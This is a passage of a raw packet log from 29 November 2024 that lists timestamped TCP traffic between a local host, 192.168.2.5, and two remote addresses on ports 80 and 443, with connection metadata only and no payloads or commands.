Nov 29, 2024 19:49:40.453073978 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.453208923 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.453257084 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.455022097 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.455074072 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.455110073 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.455154896 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.456979036 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.457030058 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.480587959 CET	443	49773	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:40.480688095 CET	443	49773	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:40.480923891 CET	49773	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:40.480983019 CET	49773	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:40.480983973 CET	49773	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:40.481015921 CET	443	49773	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:40.481041908 CET	443	49773	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:40.484035969 CET	49778	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:40.484069109 CET	443	49778	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:40.484153032 CET	49778	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:40.484329939 CET	49778	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:40.484345913 CET	443	49778	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:40.485049963 CET	443	49774	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:40.485130072 CET	443	49774	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:40.485233068 CET	49774	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:40.485260010 CET	49774	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:40.485270023 CET	443	49774	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:40.485280037 CET	49774	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:40.485284090 CET	443	49774	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:40.487354994 CET	49779	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:40.487390041 CET	443	49779	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:40.487453938 CET	49779	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:40.487601995 CET	49779	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:40.487620115 CET	443	49779	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:40.503607988 CET	443	49776	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:40.504013062 CET	49776	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:40.504029989 CET	443	49776	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:40.504488945 CET	49776	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:40.504493952 CET	443	49776	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:40.553083897 CET	443	49775	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:40.553162098 CET	443	49775	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:40.553260088 CET	49775	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:40.557390928 CET	49775	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:40.557405949 CET	443	49775	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:40.557415962 CET	49775	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:40.557421923 CET	443	49775	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:40.566545963 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.566621065 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.566694975 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.567358971 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.567410946 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.567420959 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.567466021 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.568484068 CET	49780	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:40.568511963 CET	443	49780	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:40.568770885 CET	49780	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:40.569046021 CET	49780	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:40.569058895 CET	443	49780	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:40.569185019 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.569231033 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.569235086 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.569278002 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.570952892 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.570970058 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.571013927 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.571041107 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.572755098 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.572817087 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.572838068 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.572875977 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.574450016 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.574572086 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.574629068 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.576154947 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.576390028 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.576437950 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.577826023 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.577888966 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.577894926 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.577930927 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.579627037 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.579642057 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.579678059 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.581183910 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.581239939 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.581298113 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.581454039 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.582823992 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.582881927 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.582954884 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.583009005 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.584408998 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.584465981 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.584532976 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.584650993 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.586119890 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.586133003 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.586179972 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.587682009 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.587766886 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.587817907 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.589327097 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.589389086 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.589405060 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.589447975 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.591097116 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.591154099 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.591540098 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.591581106 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.592590094 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.592643976 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.592681885 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.592839003 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.594202042 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.594257116 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.594369888 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.594444036 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.595840931 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.595885038 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.595993042 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.596040964 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.597534895 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.597587109 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.597826004 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.597888947 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.599179983 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.599200010 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.599220037 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.599231005 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.600794077 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.600845098 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.600892067 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.602382898 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.602436066 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.602447987 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.602483034 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.604001045 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.604048967 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.604131937 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.604173899 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.605637074 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.605690002 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.605724096 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.605762959 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.607274055 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.607332945 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.607378006 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.607418060 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.608910084 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.608962059 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.609004021 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.609081984 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.610568047 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.610619068 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.610646963 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.610821962 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.612195969 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.612319946 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.612380981 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.613836050 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.613976955 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.614031076 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.615443945 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.615489960 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.615562916 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.615636110 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.617130041 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.617187023 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.617374897 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.617424965 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.618727922 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.618808031 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.618820906 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.618860006 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.620404959 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.620460987 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.620532990 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.620654106 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.622025013 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.622081995 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.622149944 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.622193098 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.623646975 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.623773098 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.623833895 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.625329018 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.625380993 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.625415087 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.625453949 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.627135992 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.627147913 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.627192974 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.628638983 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.628695011 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.628752947 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.628823042 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.630162954 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.630222082 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.630263090 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.630331993 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.631818056 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.631937981 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.631978989 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.633466005 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.633506060 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.633555889 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.633595943 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.635072947 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.635126114 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.635166883 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.635287046 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.636802912 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.636815071 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.636856079 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.638474941 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.638489008 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.638528109 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.640121937 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.640134096 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.640162945 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.640175104 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.641680956 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.641694069 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.641730070 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.641741037 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.643246889 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.643366098 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.643424988 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.644893885 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.644953012 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.644988060 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.645034075 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.646549940 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.646596909 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.646604061 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.646786928 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.648149014 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.648190975 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.648256063 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.648303986 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.764403105 CET	443	49777	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:40.765095949 CET	49777	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:40.765121937 CET	443	49777	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:40.766511917 CET	49777	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:40.766518116 CET	443	49777	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:40.767940998 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.768013954 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.768029928 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.768069029 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.768522978 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.768543005 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.768570900 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.768594027 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.769645929 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.769692898 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.769747019 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.769809961 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.771151066 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.771203041 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.771325111 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.771368980 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.772478104 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.772525072 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.772609949 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.772649050 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.773829937 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.773874998 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.773937941 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.773977041 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.775254011 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.775325060 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.775362968 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.775409937 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.776623964 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.776686907 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.776686907 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.776734114 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.777913094 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.777976036 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.778009892 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.778043985 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.779289007 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.779334068 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.779445887 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.779490948 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.780600071 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.780641079 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.780658007 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.780699015 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.781969070 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.782013893 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.782088041 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.782129049 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.783363104 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.783402920 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.783543110 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.783586025 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.784616947 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.784662008 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.784712076 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.784756899 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.786024094 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.786067009 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.786073923 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.786115885 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.787373066 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.787420034 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.787451029 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.787492990 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.788676023 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.788727045 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.788758039 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.788799047 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.790020943 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.790041924 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.790065050 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.790083885 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.791382074 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.791429043 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.791580915 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.791630983 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.792743921 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.792784929 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.792814970 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.792850018 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.794111967 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.794157982 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.794188976 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.794236898 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.795476913 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.795521975 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.795686960 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.795728922 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.796760082 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.796797991 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.796878099 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.796925068 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.798105001 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.798151970 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.798192978 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.798237085 CET	49772	80	192.168.2.5	185.215.113.206
